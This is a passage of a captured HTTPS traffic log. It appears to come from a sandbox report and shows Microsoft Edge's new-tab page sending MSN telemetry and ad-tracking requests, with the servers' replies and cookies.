2025-01-11 06:54:38 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=bafabf50ce184de0b1100c0f9750e563&HASH=bafa&LV=202501&V=4&LU=1736578478558; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:54:38 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=866ee840275c4294acd780a945ddc178; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:24:38 GMT; Path=/;Secure; SameSite=None time-delta-millis: 4612 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:54:37 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.11.20	64889	68.67.160.186	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:38 UTC	678	OUT	GET /bounce?%2Fsetuid%3Fentity%3D483%26code%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:39 UTC	1183	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Sat, 11 Jan 2025 06:54:38 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: e04b385f-5427-4dbe-8cec-2303d4755e55 Set-Cookie: anj=dTM7k!M4.FE:2jUF']wIg2E?dl7YT4!]tbPl1N!y*v_#NUa)ic_)mKcXt7O%Q9!(1W%V`LZ4JB[VFvM%SjN5@TMaOCjO)#m/X%W#.wL4W1Qw2-6^cbZ; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 11-Apr-2025 06:54:38 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 30-Dec-2034 06:54:38 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned X-Proxy-Origin: 185.246.209.154; 185.246.209.154; 675.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com
2025-01-11 06:54:39 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.11.20	62453	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:38 UTC	1050	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578474725&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 20831 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:54:38 UTC	16384	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 34 3a 33 34 2e 37 32 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-11T06:54:34.724Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"loca
2025-01-11 06:54:38 UTC	4447	OUT	Data Raw: 22 63 74 31 73 22 3a 22 57 65 61 74 68 65 72 53 75 6d 6d 61 72 79 22 2c 22 68 65 69 67 68 74 22 3a 33 30 34 2c 22 72 6f 77 22 3a 31 2c 22 73 6c 6f 74 22 3a 30 2c 22 74 72 61 63 65 49 64 49 6e 64 65 78 22 3a 30 2c 22 77 69 64 74 68 22 3a 33 30 30 2c 22 73 69 67 6e 61 74 75 72 65 22 3a 22 77 78 6e 77 74 73 63 74 65 63 7c 31 39 22 7d 7d 2c 7b 22 6e 22 3a 22 68 6f 75 72 6c 79 46 6f 72 65 63 61 73 74 35 22 2c 22 79 22 3a 31 31 2c 22 76 22 3a 22 77 65 61 74 68 65 72 22 2c 22 63 22 3a 22 77 65 61 74 68 65 72 22 2c 22 63 74 22 3a 31 2c 22 69 22 3a 31 32 37 2c 22 70 22 3a 31 32 32 2c 22 6f 22 3a 35 2c 22 65 78 74 22 3a 7b 22 63 69 64 22 3a 22 32 22 2c 22 63 6f 22 3a 32 2c 22 63 6f 6c 22 3a 33 2c 22 63 74 31 73 22 3a 22 57 65 61 74 68 65 72 53 75 6d 6d 61 72 79 22 Data Ascii: "ct1s":"WeatherSummary","height":304,"row":1,"slot":0,"traceIdIndex":0,"width":300,"signature":"wxnwtsctec\|19"}},{"n":"hourlyForecast5","y":11,"v":"weather","c":"weather","ct":1,"i":127,"p":122,"o":5,"ext":{"cid":"2","co":2,"col":3,"ct1s":"WeatherSummary"
2025-01-11 06:54:39 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=292fa731b98c4bba946855e1dba74d44&HASH=292f&LV=202501&V=4&LU=1736578478820; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:54:38 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=8e66d731f9564077ae8d70da8bd5d697; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:24:38 GMT; Path=/;Secure; SameSite=None time-delta-millis: 4095 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:54:38 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.11.20	53348	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:39 UTC	1050	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578476341&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10308 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:54:39 UTC	10308	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 34 3a 33 36 2e 33 34 30 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-11T06:54:36.340Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"loca
2025-01-11 06:54:39 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=bb14293ef1f545d18edce1a984f01794&HASH=bb14&LV=202501&V=4&LU=1736578479212; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:54:39 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=3bddc805e440413392fbe38bc55fa364; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:24:39 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2871 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:54:39 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.11.20	60768	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:40 UTC	1049	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578479355&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9313 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:54:40 UTC	9313	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 34 3a 33 39 2e 33 35 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 36 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-11T06:54:39.354Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":6,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"loca
2025-01-11 06:54:40 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=3f773279fcd44b81ba920a0441ed5652&HASH=3f77&LV=202501&V=4&LU=1736578480436; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:54:40 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=983100d621234bcca89d87e5e296a7de; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:24:40 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1081 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:54:40 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.11.20	50713	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:40 UTC	1023	OUT	GET /notify/viewed?rid=f7b66e0f99774ee4994a9572d133a3c9&r=infopane&i=3&p=edgechrntp&l=en-us&d=bing&b=Edg&a=dfa64b01-ec54-411d-97b5-76d005271c07&ii=1&c=2556969255498558843&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-infopane-3&ptid=edgechrntp-peekinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1 Host: srtb.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:54:40 UTC	581	IN	HTTP/1.1 204 No Content Cache-Control: no-cache Pragma: no-cache Content-Type: image/gif Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: D2B19491A6C540CBB5B1B39C5A491069 Ref B: CHI30EDGE0410 Ref C: 2025-01-11T06:54:40Z Date: Sat, 11 Jan 2025 06:54:40 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.11.20	56798	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:43 UTC	1050	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578482833&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 21272 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:54:43 UTC	16384	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 34 3a 34 32 2e 38 33 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 37 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-11T06:54:42.832Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":7,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"loca
2025-01-11 06:54:43 UTC	4888	OUT	Data Raw: 22 3a 22 6e 65 78 74 53 6c 69 64 65 41 72 72 6f 77 22 2c 22 79 22 3a 31 31 2c 22 69 22 3a 36 39 2c 22 70 22 3a 36 37 2c 22 6f 22 3a 31 39 2c 22 65 78 74 22 3a 7b 22 72 6f 77 22 3a 31 2c 22 63 6f 6c 22 3a 31 2c 22 77 69 64 74 68 22 3a 36 31 32 2c 22 68 65 69 67 68 74 22 3a 33 30 34 2c 22 73 6c 6f 74 22 3a 30 2c 22 74 72 61 63 65 49 64 49 6e 64 65 78 22 3a 30 2c 22 63 6f 22 3a 31 7d 7d 2c 7b 22 6e 22 3a 22 69 6e 66 6f 70 61 6e 65 74 61 62 22 2c 22 79 22 3a 31 31 2c 22 69 22 3a 31 34 35 2c 22 70 22 3a 36 37 2c 22 6f 22 3a 31 2c 22 65 78 74 22 3a 7b 22 72 6f 77 22 3a 31 2c 22 63 6f 6c 22 3a 31 2c 22 77 69 64 74 68 22 3a 36 31 32 2c 22 68 65 69 67 68 74 22 3a 33 30 34 2c 22 73 6c 6f 74 22 3a 30 2c 22 74 72 61 63 65 49 64 49 6e 64 65 78 22 3a 30 2c 22 63 6f 22 Data Ascii: ":"nextSlideArrow","y":11,"i":69,"p":67,"o":19,"ext":{"row":1,"col":1,"width":612,"height":304,"slot":0,"traceIdIndex":0,"co":1}},{"n":"infopanetab","y":11,"i":145,"p":67,"o":1,"ext":{"row":1,"col":1,"width":612,"height":304,"slot":0,"traceIdIndex":0,"co"
2025-01-11 06:54:44 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=36846c30f1714fb283bfb14ab5aeeaad&HASH=3684&LV=202501&V=4&LU=1736578483841; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:54:43 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=5dc5be9766634cc4b9e6ed294a4e0f8f; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:24:43 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1008 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:54:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.11.20	58227	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:46 UTC	1050	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1736578485347&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10380 sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:54:46 UTC	10380	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 35 2d 30 31 2d 31 31 54 30 36 3a 35 34 3a 34 35 2e 33 34 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 38 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 37 39 63 65 31 39 66 34 2d 35 64 39 37 2d 34 65 37 39 2d 62 64 65 37 2d 38 36 36 37 38 64 66 30 33 65 36 38 22 2c 22 65 70 6f 63 68 22 3a 22 37 30 39 36 32 34 36 30 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2025-01-11T06:54:45.346Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":8,"installId":"79ce19f4-5d97-4e79-bde7-86678df03e68","epoch":"709624609"},"app":{"loca
2025-01-11 06:54:46 UTC	889	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=3ffe8e8bc1f0475b83f5cbab7ebb8d17&HASH=3ffe&LV=202501&V=4&LU=1736578486316; Domain=.microsoft.com; Expires=Sun, 11 Jan 2026 06:54:46 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=8882ad015e404da7b7ea8250717e67bd; Domain=.microsoft.com; Expires=Sat, 11 Jan 2025 07:24:46 GMT; Path=/;Secure; SameSite=None time-delta-millis: 969 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Sat, 11 Jan 2025 06:54:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.11.20	50590	13.89.179.10	443

Timestamp	Bytes transferred	Direction	Data
